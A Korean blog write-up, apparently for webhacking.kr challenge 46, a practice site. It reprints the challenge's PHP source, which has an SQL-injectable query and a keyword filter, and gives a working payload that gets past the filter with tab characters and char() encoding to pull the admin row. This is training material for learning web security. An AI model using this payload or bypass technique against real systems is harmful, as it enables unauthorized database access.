<html>
<head>
<title>Challenge 46</title>
</head>
<body>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1256900400) exit();
?>
<!-- index.phps -->
<?
$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);
if(eregi("union",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("challenge",$_GET[lv])) exit();
if(eregi("0x",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));
if($q && $_GET[lv])
{
echo("$q[0] information<br><br>money : $q[1]");
if($q[0]=="admin") @solve();
}
?>
</body>
</html>
lv 파라미터 값을 전달하고 있다.(기본값 1).
또한, 전달되는 파라미터를 필터처리하는데 필터되는 문자는 공백, /, *, %, union, select, from, challenge, 0x, limit, cash 이다.
$q[0]은 $q['id']를 의미하며, $q['id']값이 admin이 되려면 파라미터에 0%09or%09id=char(97,100,109,105,110)# 를 입력하면된다.
입력폼에 입력하면 %부분을 %25로 인코딩하기 때문에 URL 에 직접입력하든
프록시 도구로 인터셉트해서 입력해야함.
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 27번 SQL 인젝션 LIKE, -- (0) | 2018.09.01 |
---|---|
[webhacking.kr] 07번 SQL 인젝션 UNION (0) | 2018.08.31 |
[webhacking.kr] 18번 SQL 인젝션 (0) | 2018.08.29 |
[webhacking.kr] 39번 SQL 인젝션 (0) | 2018.08.28 |
[webhacking.kr] 26번 (0) | 2018.08.24 |